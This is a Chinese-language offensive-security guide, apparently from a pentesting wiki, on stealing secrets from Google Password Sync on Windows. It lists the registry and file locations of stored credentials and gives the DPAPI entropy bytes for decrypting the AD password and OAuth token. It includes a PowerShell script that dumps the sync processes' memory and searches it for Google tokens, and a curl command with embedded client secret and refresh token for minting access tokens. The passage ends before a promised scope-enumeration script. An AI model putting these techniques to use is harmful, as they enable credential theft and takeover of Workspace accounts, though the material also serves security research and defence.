基本信息
这是 Google 提供的二进制文件和服务,用于保持用户在 AD 和 Workspace 之间的密码同步 。每当用户在 AD 中更改密码时,它会被设置到 Google。
它安装在 C:\Program Files\Google\Password Sync
,您可以在此找到用于配置的二进制文件 PasswordSync.exe
和将继续运行的 password_sync_service.exe
(服务)。
GPS - 配置
要配置此二进制文件(和服务),需要授予其对 Workspace 中超级管理员主体的访问权限 :
通过 OAuth 登录 Google,然后它会在注册表中存储一个令牌(加密)
提供一些来自 GCP 的 服务账户凭据 (json 文件),并具有管理 Workspace 用户 的权限
非常糟糕的主意,因为这些凭据永不过期,可能会被滥用
非常糟糕的主意是给予 SA 对 Workspace 的访问权限,因为 SA 可能在 GCP 中被攻破,并且可能会转向 Workspace
关于 AD,可以指示它使用当前的应用程序上下文、匿名或某些特定凭据 。如果选择凭据选项,用户名 将存储在磁盘 中的一个文件内,密码 是加密 并存储在注册表 中。
GPS - 从磁盘转储密码和令牌
请注意 Winpeas 能够检测到 GPS ,获取有关配置的信息,甚至解密密码和令牌 。
在文件 C:\ProgramData\Google\Google Apps Password Sync\config.xml
中,可以找到部分配置,例如配置的 AD 的 baseDN
和正在使用的 username
的凭据。
在注册表 HKLM\Software\Google\Google Apps Password Sync
中,可以找到 加密的刷新令牌 和 加密的密码 (如果有的话)。此外,如果使用的是某些 SA 凭据 ,也可以在该注册表地址中找到这些加密的凭据。该注册表中的 值 仅对 管理员 可访问。
加密的 密码 (如果有的话)在键 ADPassword
中,并使用 CryptProtectData
API 进行加密。要解密它,您需要是配置密码同步的同一用户,并在使用 CryptUnprotectData
时使用此 熵 :byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };
加密的令牌(如果有的话)在键 AuthToken
中,并使用 CryptProtectData
API 进行加密。要解密它,您需要是配置密码同步的同一用户,并在使用 CryptUnprotectData
时使用此 熵 :byte[] entropyBytes = new byte[] { 0x00, 0x14, 0x0b, 0x7e, 0x8b, 0x18, 0x8f, 0x7e, 0xc5, 0xf2, 0x2d, 0x6e, 0xdb, 0x95, 0xb8, 0x5b };
此外,它还使用字典 0123456789abcdefghijklmnopqrstv
进行 base32hex 编码。
熵值是通过使用该工具找到的。它被配置为监控对 CryptUnprotectData
和 CryptProtectData
的调用,然后该工具被用来启动和监控 PasswordSync.exe
,该工具将在开始时解密配置的密码和身份验证令牌,并将显示用于这两种情况的熵值 :
请注意,也可以在对这些 API 的调用的输入或输出中查看 解密 的值(以防 Winpeas 在某个时候停止工作)。
如果密码同步是使用 SA 凭据配置的 ,它也将存储在注册表 HKLM\Software\Google\Google Apps Password Sync
中的键内。
GPS - 从内存转储令牌
与 GCPW 一样,可以转储 PasswordSync.exe
和 password_sync_service.exe
进程的内存,您将能够找到刷新和访问令牌(如果它们已经生成)。
我想您也可以找到配置的 AD 凭据。
转储 PasswordSync.exe
和 password_sync_service.exe
进程并搜索令牌```powershell # Define paths for Procdump and Strings utilities $procdumpPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\procdump.exe" $stringsPath = "C:\Users\carlos-local\Downloads\SysinternalsSuite\strings.exe" $dumpFolder = "C:\Users\Public\dumps"
Regular expressions for tokens
$tokenRegexes = @( "ya29.[a-zA-Z0-9_.-]{50,}", "1//[a-zA-Z0-9_.-]{50,}" )
Show EULA if it wasn't accepted yet for strings
$stringsPath
Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) { New-Item -Path $dumpFolder -ItemType Directory }
Get all Chrome process IDs
$processNames = @("PasswordSync", "password_sync_service") $chromeProcesses = Get-Process | Where-Object { $processNames -contains $_.Name } | Select-Object -ExpandProperty Id
Dump each Chrome process
foreach ($processId in $chromeProcesses) { Write-Output "Dumping process with PID: $processId" & $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp" }
Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object { $dumpFile = $.FullName $baseName = $ .BaseName $asciiStringsFile = "$dumpFolder${baseName}_ascii_strings.txt" $unicodeStringsFile = "$dumpFolder${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile" & $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile & $stringsPath -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) { foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) { foreach ($match in $matchInfo.Matches) { $matchValue = $match.Value if (-not $uniqueMatches.ContainsKey($matchValue)) { $uniqueMatches[$matchValue] = @{ LineNumber = $matchInfo.LineNumber LineText = $matchInfo.Line.Trim() FilePath = $matchInfo.Path } } } }
foreach ($matchValue in $uniqueMatches.Keys) { $info = $uniqueMatches[$matchValue] Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)" } }
Write-Output "" } }
Copy </details>
### GPS - 从刷新令牌生成访问令牌
使用刷新令牌,可以使用它以及以下命令中指定的客户端ID和客户端密钥生成访问令牌:
```bash
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03pJpHDWuak63CgYIARAAGAMSNwF-L9IrfLo73ERp20Un2c9KlYDznWhKJOuyXOzHM6oJaO9mqkBx79LjKOdskVrRDGgvzSCJY78" \
https://www.googleapis.com/oauth2/v4/token
GPS - Scopes
请注意,即使拥有刷新令牌,也无法请求访问令牌的任何范围,因为您只能请求由生成访问令牌的应用程序支持的范围 。
此外,刷新令牌在每个应用程序中都不是有效的。
默认情况下,GPS 作为用户不会对每个可能的 OAuth 范围具有访问权限,因此使用以下脚本,我们可以找到可以与 refresh_token
一起使用以生成 access_token
的范围: